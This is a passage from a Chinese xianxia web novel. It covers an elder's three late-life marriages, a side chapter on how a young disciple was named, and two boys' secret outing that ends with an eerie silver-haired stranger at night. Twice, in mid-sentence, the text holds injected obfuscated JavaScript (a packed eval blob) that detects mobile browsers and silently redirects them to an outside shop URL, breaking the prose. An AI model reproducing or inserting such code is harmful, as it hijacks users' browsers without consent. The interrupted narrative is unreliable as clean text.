他神色平静,熟稔地起身穿衣,细细为老伴梳洗打扮,又去镇上订了棺木,而后雇了一辆驴车,车轮吱嘎吱嘎碾过土路,载着棺木,往她的家乡去—— 这已经是他安葬的第三任妻子了。 米老头原是个修仙者,按他自己的话说,就是个散修——修得零零散散,全凭自己摸索。 他最初的心愿不过是求个长生不老,于是日日勤恳赚钱糊口,把余下的所有时间,都尽数用在了修行上。 他也动过加入宗门的心思,想着能有人指点,修行或许能快些,可转念一想还是作罢了。那些大宗门里的修士,怕是瞧不上他这样只求长生、满身凡俗气的散修。 不知道究竟是幸运还是不幸。 幸运的是米老头竟真的凭着自己的摸索修成了,硬生生突破了五阶修为。 不幸的是他突破那年,正好七十二岁。 熬到梦寐以求的长生,心头翻涌的却不是欢喜,反倒生出一股说不清道不明的空虚——他头一回清晰觉察到,自己想找个伴了。 他有自知之明,自己这副花甲老态,若去寻十七八的小姑娘,与耍流氓无异,索性便将目光放在了年岁登对的老太太身上。 他的第一任妻子,是个丧偶的老妪。六七十岁丧夫本是寻常,偏她又被子女弃了,只得同他一般,四处打零工糊口。两人境遇相仿,朝夕间多有交集,一来二去便看对了眼,米老头就娶了第一个老婆。 可好日子没撑多久,妻子因半生操劳落了病根,又日日念着儿女,终究忧思成疾,四年光景便撒手人寰。 临终前,她拉着米老头的手,一边谢他相伴这几年,一边又不住道歉,说没能多陪他些时日。 米老头还没尝透陪伴的滋味,就先失了枕边人,浑浑噩噩熬了一年,才遇上第二任妻子。 这老太太性子烈,一辈子没谈过情,两人因田地里的白菜多种了一排,在村口吵得不可开交,就这么认识了。 往后日子里,二人几乎日日拌嘴,吵得天昏地暗。 直到某日,米老头没等来惯常的争吵,推门进她屋,才发现人病得起不了身。 他慌里慌张送她去镇上医馆,一来二去,这吵出来的交情竟也熬成了情意,两人便也结为了夫妻。 往后妻子守着家里种菜养鸡,他去镇上打零工赚钱,日子倒也安稳。 可这份安稳,也没撑过十年,第二任妻子还是走了。 而临终前的话,竟和第一任如出一辙,满是感谢,又满是歉意。 米老头望着空荡荡的屋子,头一回生出疑惑,不明白她们为何总要道谢,又为何总要道歉。 疑惑还没解开,第三任妻子就出现在了他的日子里。 那时他送第二任妻子归乡,便索性在这边村落住下,某日救下一个摔倒的老太太,两人相熟后,便顺理成章地搭伙过了日子。 直到第三任妻子也走了,米老头又一次浑浑噩噩度日时,心底那团模糊的疑惑,才突然清明过来。 他貌似是想明白了究竟哪里是不对——男人和女人相伴,本就不该只因为夫妻的名分;而他执着地寻一个人相爱,妄图以此填满长生带来的空虚,从一开始,就错了。 而他追求的长生好像对于平凡人来说并不是恩赐,更像是一种把他和红尘割裂开的诅咒。 恰在这 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次日,他便跟着谢青,一路行至那闻名遐迩,实则荒寂如废墟的青云剑庄。 自此之后,米老头便成了米长老,成了青云剑庄唯一长老。不过他收的徒弟却并非剑修,而是全和他一样干些杂活,并零零散散修仙的“散修”。 他也抱怨过,跟谢青念叨怎不多招几个长老管事,省得自己一人忙前忙后。 谢青却总摆摆手,只说人不在多,贵在精。 托谢青的福,米长老日日忙得头晕眼花、脚不沾地,从清晨到日暮,琐事缠身,竟再没半分闲暇去伤怀自己那三段匆匆的婚姻,心底的空落也被这实打实的忙碌填了个满。 日子过得安稳,直到谢青遇刺身死,谢重楼被就地正法,青云剑庄一朝封山,偌大的庄院重归死寂。 喧嚣散去,只剩无尽的空寂,米长老心底那被压下的困惑再度翻涌,又开始仔仔细细琢磨起那困扰了他许久的问题。 光阴流转,于半仙而言不过弹指,于他这修为突破五阶得了“永生”的修士,亦是微末。 日子一天天过,米长老每日挪出大把时光沉心思考,可翻来覆去,终究还是没琢磨出个究竟。 直到那天,一个穿粉衣的男子踏入山门,整日嘤嘤嘤的怪叫,性子恶劣又难缠。 米长老被他磋磨得焦头烂额,哪里还有心思去想那些无解的难题,只得把所有精力都抽出来,专心对付这位活祖宗。 难得得了片刻闲暇,米长老靠在廊下晒着太阳,心头忽然生出几分感慨—— 若不是那个磨人的祖宗闹得他日日不得闲,怕是自己此刻还困在过往的执念里,走不出来了。 这念头刚落,就见个小弟子红着眼睛,哭唧唧地跑回来,揪着他的衣袖哽咽:“米长老!您快去救救我们吧!那位又发好大的火,弟子们实在招架不住了!” 闻言,米长老刚松快没一会儿的脸瞬间垮下来,却还是咬了咬牙,摆出一副毅然决然、视死如归的模样,抬脚便往青云剑庄的弟子寝室走去。 …… 16. 番外——长泽(一) 谢重楼小时候问谢长泽:“师兄为什么叫长泽啊?” 谢长泽闻言愣了愣,忽的想起多年前的光景,嘴角不自觉漾开一抹温柔的笑,缓缓道来: 那时他才丁点大,刚跟着谢青从青云剑庄出来。 他满心不解,师傅明明说要带他吃香喝辣,怎么却把他领到了废墟来?好在谢青再三保证往后定有好日子,他才牵着师父的手,又一次踏上征途。 这一回,他们到了个宛若仙宫的地方。 亭台楼阁雕梁画栋,流云绕檐,来往之人皆衣袂飘飘,眉眼清俊,宛若天人。 这是他头一次见这么多半仙——从前在村子里,唯有娘亲是半仙,还总被邻里嚼舌根,可在这里,他终于见到了数不清的“同类”,一时之间看得晃了神,连脚步都慢了。 谢青牵着他,去见了一个他此生见过最好看,最俊朗的男人。 那人气质温润如玉,眉眼间带着淡淡的笑意,见他衣衫破旧,半分嫌弃都没有,反倒伸手轻轻牵过他的小手,取来软帕给他擦脸擦手。 谢青与那人说着什么,他年纪小,完全记不清了。 但是似乎是小孩子天生带着的一种特殊敏锐,他觉得这个被谢青叫做风幕卿的人是不喜欢他的。所谓的不嫌弃更像是一种假象,他感觉这个人身上有股死气,死气控制着他。所以他会表现出来一副对自己很和善的样子,要是没有这层死气,他觉得这个男人大概会在自己进门的一瞬间提扫帚把他抽出去。 神奇的是,谢青在风幕卿耳边不知低声说了句什么,他看向他的目光,就骤然变了。 那变化来得猝不及防,先前伪装的温和淡去,眼底透露出来的,是实打实的,由衷的喜欢,像春日融冰的溪水,暖融融的,淌进了他小小的心底。 还没琢磨透这目光的转变,谢青便要辞行了,说要去重振山门。 两人又凑在一起低声交谈了几句,不知说了些什么,语气渐渐沉了下来,隐约有了争执的意味。 他站在风幕卿身侧,小手紧紧攥着自己的衣角,心里怕得厉害,一颗心怦怦直跳。 他又不是真的什么都不懂,早看出来谢青师傅有多不靠谱。路上还拍着胸脯跟他吹牛: “一会再给你认个厉害师傅,别人只有一个,你直接有两个,血赚不亏!” 全是鬼话! 他现在最怕的,就是两人吵着吵着,就不欢而散。 谢青师傅如果吵完一扭头,干脆自己走了把他一个人在留在这里面对风幕卿,到时候他才是真的不知道该怎么办。 越想越慌,他眼眶瞬间就红了。 干脆嘴一瘪,瞪着双泪汪汪的眼睛,伸手抓着风幕卿的袖子,哭唧唧的小声乞求: “师傅们别吵架……我害怕……” 出人意料的是,这话一出口,方才还隐隐对峙的两人,再没了要争执的气势。 风幕卿最终是没能留住谢青,只在她转身前,低头看向小孩,轻声问:“你要走我不拦你,但你起码得告诉我他叫什么名字吧?” “叫什么来着……”谢青摸着下巴思忖半天,挤眉弄眼地琢磨着,忽然一拍大腿,“我是在水边捡到他的,那河又长又宽,水势浩荡,不如就叫他‘谢长宽’?” 风幕卿脸上的温和险些绷裂,嘴角抽了抽,强作微笑道:“这名字似乎太过随便了,哪有人叫这般名字的。” 他又转头看向怯生生的小孩,语气温柔了几分:“你自己有名字吗?” “对啊!”谢青也猛地拍掌,几步转回来凑到他面前,“你家人没给你取名字吗?你自己的名字呢?” 小孩攥着衣角,鼻尖微微泛红,声音细若蚊蚋:“娘亲叫我阿奴,我……我应该叫阿奴吧。” “谢阿奴!”谢青当即一锤定音,就要敲定这名字,却被风幕卿连忙伸手阻止:“慢着。” 风幕卿温声缓缓道:“既是在水边捡到的孩子——便叫‘长泽’如何?既应了水泽的来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177155|196908||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 历,也愿他往后福泽绵长,一生安稳。” 谢青琢磨了片刻,觉得这名字好,当即点头:“行啊!就这个!” 两人一齐看向那怯生生的小孩,柔声问他愿不愿意。 小孩泪眼汪汪的攥着风幕卿的衣袖,轻轻点了点头。 自此,住在水边的阿奴,便有了真正的名字——谢长泽。 谢重楼坐在师兄腿上,乌黑的大眼睛眨了又眨,听完这些故事,仰着脸皱起眉头问:“那师傅是因为在好多好多屋子里捡到我,所以我叫‘重楼’吗?” 谢长泽忍不住笑,伸手揉了揉师弟软乎乎的脸颊,耐心哄道:“不是哦。重楼是一种草药,昨日师兄还指给你看过,忘了?” 谢重楼歪着小脑袋想了想,下一秒就瘪起嘴,眼眶红红的,一副要哭不哭的模样。 “怎么了?”谢长泽连忙抱紧他,轻声哄着。 “重楼不好看。”小不点委屈巴巴地揪着师兄的衣襟,“我想要好看的!” 谢长泽眼底笑意更浓,低头问:“那你想叫什么呀?” 谢重楼小眉头皱了又皱,憋了半天,终于委委屈屈地开口:“我想叫小花,小花最好看。” 谢长泽笑得弯了眼,顺着他的意应道:“好呀,小花好看,师兄以后就叫你谢小花。” “不行!”谢重楼立刻抓紧他的衣袖,小脸上带着几分执拗,“师兄要陪着我!师兄叫大花,师兄也好看!” “好啊。”谢长泽爽快答应,低头蹭了蹭可爱的小师弟,“你是小花,我是大花。那师傅和米长老呢?” “嗯……”谢重楼小脑袋歪着,认真想了半天,一本正经地宣布,“师傅是坏花,她总不来看我!米长老……米长老是老花,因为他很老很老啦!” 谢长泽抱着软乎乎的小师弟,笑得浑身发颤。 廊下风轻,月色温柔,一大一小就这么依偎着,絮絮叨叨,一直说到月上中天,星光洒满肩头。 …… 17. 出游 自从谢长泽走后,祁云耀和谢重楼之间的关系,就从一种极其微妙的状态滑向了另一种更叫人捉摸不透的微妙。 祁云耀说到做到,没再像从前那样,一瞧见大哥祁余天找谢重楼约战,或是小妹祁灵昭凑过来叽叽喳喳,就急赤白脸地拦着。 谢重楼反倒像是突然摸透了与人相处的分寸,再面对祁余天递来的战帖,竟能从容又有余地开口拒绝,祁余天碰了几次壁,也没了往日的兴致。笑呵呵的去找其他弟子比试。 而祁灵昭也像是被什么东西勾了魂,整日抱着几册书册躲在房里,看得如饥似渴,竟再也抽不出空来“骚扰”重归于好的两人。 祁云耀的身子还没完全痊愈,谢长泽留下的新方子特意叮嘱,需得多走动,却忌剧烈动武。 于是每日清晨,两人同出一屋,一道往练武场去。祁云耀沿着场地边缘慢慢绕圈。谢重楼则是练习青云剑法,手中断不义剑银光流转,招式时而宛若惊龙出渊,气势恢宏;时而又恰似白练翩飞,身姿轻盈如惊鸿掠水。看的祁余天心痒难耐却又时常碰壁,只能咬牙一眨不眨地的盯着看。 等练完剑,两人便手牵手往马厩去,去喂谢重楼那匹名字叫“白白”的小灰马。 天气一日冷过一日,白白的马厩却早被拾掇得妥帖,底下铺着厚厚的干草,四周围上了油布挡风,暖烘烘的,半点寒气也透不进来。 起初两人还是担心白白受冻,决定在马厩里生火为白白取暖。 谁知那火刚生起来没多大一会儿,就直接燎到旁边堆着的草料,吓得两人手忙脚乱地扑火,最后非但没成,还差点把连片的马厩都烧个精光,这场取暖计划只得狼狈收场。 约莫过了十几日,两人正蹲在马厩边给白白喂菜叶,一道黑影突然如离弦之箭般飞速掠至跟前,还伴着“姆嘎姆嘎”的怪叫声。 谢重楼反应极快,反手便要拔剑,却被祁云耀一把攥住手腕拦下。 “别怕别怕!”祁云耀连忙解释,“这是偃甲鸟!” 谢重楼缓缓收剑,抬眸细看——那果然是只通体漆黑的鸟,飞至两人近前时,红色的眼珠上下转了两圈,随即“叮”的一声轻响,缓缓褪成了墨色。 紧接着,它又“姆嘎姆嘎”叫了两声,振翅飞落到马厩旁的桅杆上,鸟爪灵巧地抬起,给自己戴上了一副小巧滑稽的琉璃镜,模样瞬间添了几分憨态。 下一秒,它便从腹腔里啄出一叠卷纸,一爪抬起摊平在自己面前,只听一声清脆的“嘎”后,竟清清楚楚地说起了人言。 亲爱的二弟!许久不见,十分想念! 我有一个坏消息和一个好消息要告诉你! 坏消息是,你托我购买的《霸道仙君爱上我·第四卷》,我竟没能抢到! 记得那是一个大雨天,我揣着你的嘱托,一头扎进泥泞里狂奔。 那雨下得可真大啊,大得叫人睁不开眼,辨不清路;可那雨又好像很小很小,小到被我对二弟你的一腔热血,烘得半点痕迹都无! 哎呀,说远了。 总之,等我一身泥水扑到书肆门口时,偏偏就差了半步。 只见那最后一本话册,刚被人攥在了手里。我当时心都凉了半截,“噗通”一声就跪在了地上。 我扯着那位姑娘的衣角苦苦哀求:“好姐姐啊!我那一百零八岁的老母亲,此刻正躺在床上奄奄一息,她临终前最后的心愿,就是亲眼见见这本《仙君》续作!求你发发善心,就让给我吧!” 哎!真是个铁石心肠的无情女人啊! 我瘫在地上,绝望得恨不得以头抢地,为你肝脑涂地也在所不惜之时—— 啊! 只见书肆老板慢悠悠地,慢悠悠地,从他那张八仙桌底下,抽出了一本闪耀着金光、还带着作者亲笔签名的《霸道仙君爱上我-第四卷》! 所以好消息就是——书,我买到了!不过嘛,价钱自然是要比寻常的贵上一些,但我知道,凭二弟你对这本话册的赤诚之心,肯定不会在意这些小细节的! 再有一日,我便会抵达西门!盼着能和二弟再会! 爱你的-潇洒眼镜哥。 两人面无表情地听完偃甲鸟这番汹涌澎湃的激情朗诵,全程神色平静。 只见偃甲鸟念完后,小爪子灵巧地将信纸对折,叼在嘴里,随即俯冲而下,稳稳停在祁云耀跟前。 凑近了才看清,这只偃甲鸟的眼皮上还粘着几缕又细又长的假睫毛,正俏皮地不停眨动——带着说不出的诡异。 祁云耀从它嘴里接过书信,偃甲鸟似是完成了使命,“姆嘎姆嘎”大叫两声,振翅飞向天边,很快就成了一个小黑点。 谢重楼的目光落在祁云耀手中的信上,眉头微蹙,思忖片刻后认真发问:“这只鸟,在泥水里摔跤了吗?” 祁云耀沉默着摇了摇头,脸上还带着几分被偃甲鸟朗诵震撼到的余韵。 谢重楼又追问道:“那是他一百零八岁的妈妈要死了吗?” 祁云耀重重地叹了口气,小脸一板,刻意摆出一副神秘莫测的神情,摆了摆手道:“跟你说了也不懂,罢了,明日就由你陪我出去同他会面吧!” 第二日天刚蒙蒙亮,祁云耀和谢重楼便已穿戴整齐,踏着初升旭日的微光,蹑手蹑脚地偷摸钻出了西门府邸。 谢重楼跟在身后,目光扫过空荡荡的街巷,不解发问:“为什么要这么早出来?” 祁云耀没直接回答,只得意地扬了扬下巴,轻轻掀开衣摆,露出系在腰侧鼓鼓囊囊的小荷包,眼底闪着狡黠的光,笑道:“哼哼哼,当然是带你去长见识啦!” 天盟地宗里除西门外,其余各派的名称皆有渊源。 天盟麾下,玉虚仙宗是上古传承的名门,因早年有弟子与天神相恋、最终携手飞升的佳话得名;禅宗则是佛门清修之所,香火鼎盛,以慈悲渡人立派;凌云阁最为年轻,却凭老阁主两百年前“一剑破凌云”的壮举名震江湖,短短数十年便跻身天盟核心。 地宗各派亦各有千秋:药王谷的前身是妖王谷,待妖族没落,人修承袭妖王之后精妙药理,才改名药王谷,专擅医毒;天机阁是近百年崛起的新秀,门派众人精通机关遁甲之术,起初分散各地,后来才以东海肖家老宅为固定总部,消息最为灵通。 而西门最为奇特,传说创始人因居所位于西门之地,便将自己、佩剑乃至门派都取名为“西门”,久而久之,西门既是一方门派的名号,也成了所辖洲域的统称。 两人一路往东南而去,此行的目的地,正是西门东南界域——清巷。 清巷是异族部落聚居之地,鳞次栉比的吊脚楼依山傍树而建,层层叠叠攀着山势往上,居民大多是淳朴凡人,修士踪迹寥寥。 谢重楼好奇地左右打量,周遭往来的都是穿着奇异服饰的乡人。他们头戴精致银饰,手腕脚腕上套着叮当作响的环佩,身上多是靛蓝布衣,衣角裙摆绣着繁复古朴的花纹。嘴里说着他全然听不懂的方言,眉眼间却满是和善,见了他们两个生面孔,也只是笑着颔首示意。 不等他细细端详,祁云耀便攥紧他的手,脚步轻快地在一幢幢木楼间穿梭。两人踩着土块堆砌的阶梯拾级而上,越往上走,视野越是开阔。 谢重楼忍不住回头望去,只见对面山峦上的房屋密密麻麻,却又错落有致,丝毫不见拥挤。偶尔裸露的山道上,有乡人牵着牛羊缓步而行,一手挥着长鞭,吆喝着驱赶乱跑的牲畜,悠然自得。 等两人气喘吁吁爬到山顶时,日头早已高悬中天,晒得人鼻尖冒汗。 祁云耀呼哧呼哧地拽着谢重楼,拐进了路边一家不起眼的客栈。 进门之前,谢重楼还特意顿了步,好奇地打量了半晌——毕竟方才一路上来,他都没看见清巷里头有什么铺子。 二人刚跨进门,就见门边摆着张桌台,桌台上站着一只漆黑的偃甲鸟,只是这只偃甲鸟不如他们原先看见的那只灵动,呆呆的站着,不叫也不动。 台后坐着个中年男人,他的打扮和周遭乡人并无二致,头上缠着靛蓝布巾,腰间系着绣花腰带,方才正低着头噼里啪啦拨算盘,听见动静便立刻停了手,满脸堆笑地转过头来。 “哎哟哎哟,这不是祁小公子吗?好久不见啦!” 男人开口竟是一口流利的通用语,半点口音都没有。他搓了搓手,目光落在气质清绝的谢重楼身上,眼底满是好奇,笑着问道:“这位道友是——” 祁云耀原本张口就要替谢重楼介绍,可话到嘴边,突然想起谢长泽前些日子的话,便硬生生闭了嘴。 他悄悄扯了扯谢重楼的手指,凑近他耳边低声提醒:“大叔问你叫什么呢,你快告诉他呀。” 谢重楼愣了愣,看看祁云耀,又看看满脸和善笑容的大叔,耳根悄悄泛起红,声音低得不行:“谢重楼。” 也不知有没有听清,只看他脸上的笑意越发浓厚,连忙转过话头自我介绍:“我叫夏阳,是天机阁清巷驻地的老板。道友是从哪来的呀?” 谢重楼更怯了,手指紧紧攥住祁云耀的衣袖,指尖都微微泛白,嘴唇抿了抿,才小声道:“青云剑庄。” 这回夏阳是确确实实听清了,眼睛一亮,恍然大悟地拍了下大腿:“原来小仙君就是谢青掌门的小徒弟啊!哎哟!真是一个玉人嘞!” 这番直白的夸赞落进耳里,谢重楼的脸“唰”地红透了,连脖颈都染上一层薄红,恨不得把头埋进地底下去,手指攥着祁云耀的力道又重了几分。 “姆嘎姆嘎!” 正说着话,一团黑影突然从二楼俯冲而下,“啪”地落在一楼的桌台上。而方才还安分立在一旁的那只偃甲鸟,像是被骤然激活了开关,也跟着扑棱着翅膀,大张着嘴聒噪地附和起来。 夏阳“嘶”了一声,眉头瞬间皱起,伸手就往两只偃甲鸟背后一拧。只听细微的“咔哒”声,两只鸟便霎时没了生息,僵直着身子一动不动,跟寻常木雕摆件没两样。 他揪起那只闯祸的黑鸟递给祁云耀,语气里带着几分嗔怪:“也不晓得小眼镜咋个搞的,他这鸟一叫,我们店里的鸟就跟着起哄,真是吵死人了!” 祁云耀笑着接过偃甲鸟,和夏阳道了声别,便拉着谢重楼噔噔噔上了二楼。 二楼的小房间里,正坐着个头发乱翘的少年,腰间挂着个鼓囊囊的储物袋,看着沉甸甸的。他听见脚步声,立刻转过头来——圆圆的脸蛋上架着一副圆圆的小眼镜,瞧着呆愣愣的,年纪和祁云耀不相上下。 祁云耀松开谢重楼的手,几步凑过去,迫不及待地问:“我来啦!你答应给我带的书呢?” 肖严谨却没急着去拿书,反倒眼睛一亮,腰间储物袋叮铃当啷响成一片,快步绕着谢重楼转了两圈,上上下下打量个不停,嘴里啧啧赞叹:“二弟可以啊!这才多久不见,真是发达了!” 祁云耀不理会他咋咋呼呼的惊叹,径直解下腰间的荷包,一股脑全塞给了肖严谨。 肖严谨捏着沉甸甸的荷包,顿时把玉人似的谢重楼抛到了脑后,脸上堆起和楼下夏阳如出一辙的天机阁招牌式笑容,嘴上客套着:“哎呀哎呀,这怎么好意思呢!” 手上动作却半点不慢,行云流水般撑开储物袋,将荷包丢进去,又从里头翻出一本烫金封面的话册——上头赫然印着《霸道仙君爱上我-第四卷·珍藏版》。 他还没来得及拉上储物袋的口子,祁云耀的脑袋就凑了过来,眼睛亮晶晶地往里头瞄:“你这儿还有什么好玩的新奇玩意儿,一并卖给我!对了对了!” 他猛地扭头看向谢重楼,正好对上对方望过来的目光,眼底的光更亮了: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177156|196908||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我还想要一只偃甲鸟,你带了没?带了也一并给我!” 肖严谨赶紧捂住储物袋口,眉毛皱成一团,吱哇乱叫:“不行不行!你这点钱哪够买这么多!我不能给你!” 祁云耀仗着自己和肖严谨这瘦猴不一样,有点力气能压制他,便拽着储物袋不放,小声嘟囔:“怎么不够!不够的话,等我以后有钱了再给你就是,我又不会跑!” 听他这么说,肖严谨反倒松了手,干脆把鼓鼓囊囊的储物袋从腰间解下来,退到一旁托着腮,笑眯眯地看祁云耀翻找,心里头早开始默默算计这些东西的总价,盘算着日后上门讨钱。 祁云耀朝呆站在一旁的谢重楼招招手。两人头抵着头,凑在储物袋边,仔仔细细挑拣着里头的新奇玩意儿,时不时还低声嘀咕两句。 选好东西,祁云耀麻利地把储物袋收紧,还给了肖严谨。 肖严谨嘿嘿一笑,显然还是不死心,凑到谢重楼跟前,叽里咕噜地推销起自己的小发明,话还没说两句,就被祁云耀伸手推着后背,连人带话一并“砰”的一声关在门外。 肖严谨被推出去后,祁云耀便迫不及待地转身冲回房间,满心都是要和谢重楼一起研究那堆新奇玩意儿的雀跃。 可谢重楼却站在原地没动,眉头微蹙,带着几分迟疑的担忧:“我们不回去,不要紧吗?” 祁云耀满不在乎地挥挥手,大大咧咧道:“没事的!说不定家里要过好几天才发现我们不见了呢!再说了,明天一早就回去,怕什么?” 说罢,他捻起一只掌心大小的小竹筒,照着肖严谨裹在上面的纸条说明,轻轻拉动末端的麻绳。 “砰!” 一声清脆的轻响,一团亮晶晶的雪花状碎屑骤然飘散开来,在屋里漾开一片细碎的光,像一场袖珍的烟花,绚烂得晃眼。 谢重楼瞬间被这新奇花样吸引,方才的担忧被抛到了脑后,凑上前和祁云耀一道,兴致勃勃地玩起了这些小玩具。 两人玩得投入,直到窗外天色彻底沉下来,清巷里的家家户户都次第点起了灯火。 暖融融的橙黄灯火,错落映照在依山而建的吊脚楼间,晚风拂过,灯影摇曳,又是一番与白日截然不同的动人光景。 祁云耀拉着谢重楼坐到窗边,手指着山下盆地中央的一片空地,语气里满是兴奋:“快看!他们马上要跳舞了!” 谢重楼顺着他指的方向望去。只见那片空地上,早已堆砌起几根粗壮的巨木,一个精壮的汉子举着火把走近,俯身点燃了木材。熊熊火光腾起的瞬间,他才看清,火堆周围竟已围拢了三十多个村民。 他们头上、颈间的银色首饰,在跳跃的火光下熠熠生辉。 女人们手拉着手,踩着轻快的步子围着篝火转圈,口中唱起了调子婉转的歌谣。 而那些年轻力壮的汉子,则端起一节节由竹节串联而成的乐器,乐声响起,与女人们的歌声相和,热闹又和谐。 “那是什么?” 谢重楼的眼眸里映着山下跳动的橙红火光,语气里满是好奇。 “那叫芦笙,是这里族人的乐器。” 祁云耀笑着解释,他的眼睛同样亮晶晶的,却没再看山下的热闹,目光只黏在身边人的侧脸上,轻声问:“你喜欢吗?” 谢重楼重重点头,本想转头看着祁云耀回话,视线却被山下的歌舞绊住了,只微微偏了偏头,目光依旧一眨不眨地凝着那片喧嚣的火光:“喜欢,很喜欢。” 祁云耀心里莫名涌上一股甜意,他凑近了些,脑袋轻轻靠在谢重楼的手臂上,语气雀跃地提议:“要是以后你还想看,就来找我!我会一直带你去玩好玩的、吃好吃的……不对,我现在还不能乱吃东西——那就等我伤好了,再带你去!” 谢重楼终于转过头看他,素来没什么表情的脸上,缓缓绽开一抹极真切的笑,眉眼都跟着柔和起来:“好啊,你带我去。” 祁云耀被这一笑晃得心头一跳,等他回过神,谢重楼的目光又落回了山下的歌舞里。 他心里莫名泛起一丝小别扭,脑袋轻轻磕了一下谢重楼的手臂,撅着嘴嘟囔:“那你以后回青云剑庄了,一定要给我传书!我今天可是给你买了偃甲鸟,你必须给我传书啊!” 谢重楼像是没听见,目光一瞬不瞬地盯着山下,嘴唇微微张着,嘴角还扬着那抹浅淡的笑意。 祁云耀见他这副模样,顿时泄了气,愤愤地小声嘀咕:“坏重楼。” 与此同时,一楼的桌台边。 夏阳终于将这段时间的收支账目算得一清二楚,他伸了个大大的懒腰,正准备起身去打水,给楼上那两个客人烧点热水。 刚一动身,身侧的店门就被人推开,一个黑袍少年缓步走了进来。 夏阳心头瞬间警铃大作,却见那少年主动摘下兜帽,露出一张俊美得近乎妖异的脸,以及一头如绸缎般泛着冷光的银色长发。 “你是老板?” 少年开口问道,说话间,嘴角微微勾起,露出一排细密的尖牙,看得人后背莫名发毛。 夏阳心里发怵,却强作镇定地点点头,挤出天机阁的招牌笑容:“您是要住店?” 少年颔首,从怀中摸出一块玉佩,轻轻放在桌台上。玉佩质地温润,色泽上乘,一看便知绝非俗物。 “我没带钱,这个抵住宿费,够么?” 夏阳不用拿起细看也晓得这玉佩的价值,脸上的笑容顿时多了几分真情实意:“当然够!” 说着便起身,准备带少年去二楼的空房。 少年却没动,目光越过他,落在店门外的夜色里,不知道在看些什么。半晌,他才缓缓转过头,嘴角勾起一抹森森的笑,语气轻飘飘的: “晚上记得关好门,我睡眠很浅,别让什么东西,吵到我睡觉。” 18. 蛇潮 月光淌过窗棂,洒在床前,像铺了一地细碎的寒霜。 两人并排瘫在床上,床尾堆得满满当当,全是白日里淘来的新奇小玩意儿。 祁云耀睁着眼,直勾勾盯着头顶的木梁,心里头像扎了把毛刺,乱糟糟的。他怕惊扰到谢重楼,不敢有大动作,只一个劲儿地眨眼皱眉,脑子里全是刚才那个古怪少年的模样。 谢重楼却没睡,忽然转过身,侧眸看向他:“你怎么不睡觉?” 祁云耀一见他也醒着,顿时大喜过望,却又警惕地捂住嘴,把声音压得极低,生怕隔壁的人听见:“你不觉得住在隔壁的那个家伙,真的很恐怖吗?” 谢重楼凝神想了想,脑海里浮现出不久前那个自称“小芳”的少年。 明明看着年纪不大,却特意过来敲了门,叮嘱他们早些歇息,说自己年纪大了,受不住吵闹。 他缓缓点头,语气里带着几分凝重:“我看不出他的修为深浅,甚至……感觉不到他身上的气息。” “那我们明天一早就走,不在清巷多待了!”祁云耀凑近几分,提议道,“到时候我带你去城外的湖上划船,可好玩了!” 最后几个字,因实在激动,声音没忍住拔高了些许。几乎是话音落下的瞬间,两人头顶靠着的那面木墙,就被人轻轻叩了三下。 敲木板的轻响,在这寂静的夜里格外清晰。 祁云耀吓得一激灵,连忙缩着脖子,整个人钻进谢重楼怀里,抱着他的胳膊,止不住地抖个不停。 月上中天,夜色浓得像化不开的墨。 祁云耀刚抱着谢重楼的手臂浅浅睡熟,却冷不丁被一缕刺鼻异香惊扰。 他猛地睁眼,瞳孔骤然收缩—— 不知何时,那个自称“小芳”的银发少年竟已悄无声息地进了屋,正静静立在窗前。 窗外的月光落在他身上,勾勒出单薄却诡异的轮廓,那双漆黑的眸子泛着一层淡淡的绯红光晕,一瞬不瞬地凝着窗外的夜色。 “啊——!” 祁云耀的惨叫声冲破喉咙,划破了寂静的夜。 “啊啊啊——!” 像是呼应他的惊声,窗外瞬间此起彼伏地爆发出连片的惊呼,一声比一声惊恐,一声比一声绝望,在黑夜里回荡着,听得人毛骨悚然。 祁云耀被这阵乱哄哄的尖叫吓得浑身一颤,旋即猛地回过神来—— 不对!这么大的动静,谢重楼怎么还没醒? 他顾不上窗边那个如鬼魅般的身影,慌忙转头去晃身侧的人。谢重楼却睡得极沉,眉头都不曾动一下,呼吸均匀得诡异,全然不似平日浅眠的模样。 “重楼!谢重楼!你快醒醒啊!” 祁云耀的手都在抖,越晃心越慌。 谢重楼像是被下了咒术,双眼紧闭,任他怎么摇怎么喊,都毫无反应。 哭腔不受控制地涌上喉头,他正手足无措,却冷不丁察觉到窗边的人动了—— 那道影子,正缓缓转过身来。 祁云耀的心跳几乎骤停,他胡乱摸过床边靠着的断不义,死死攥在手里,横在自己与谢重楼身前,脊背绷得笔直,满眼惊恐地盯着缓步逼近的少年。 小芳脚步轻缓,无声无息地靠近。他看着祁云耀这副如临大敌的模样,眉头轻轻蹙起,凑近了些观察,末了,他咧嘴一笑,露出一副恍然大悟的神情。 “你竟然不是半仙?” 祁云耀牙关紧咬,一句话也不敢答,双手握剑,将剑尖直指对方,压低声音喝道:“不许靠近!再过来我就不客气了!” “看你脑袋亮晶晶的,我还以为是个半仙呢。” 小芳像是没听见他的怒斥,脚步不停,依旧缓缓逼近。 “你脑袋好亮啊,有兴趣跟我走吗?” 那双泛着绯红光的眸子,落在祁云耀脸上,带着十足的贪婪。 祁云耀怕得浑身发抖,连握剑的手都在打颤。 就在小芳站定床边,骨节分明的手指伸过来,眼看就要碰到他衣领的刹那—— 一直昏睡的谢重楼,蓦地睁开了眼。 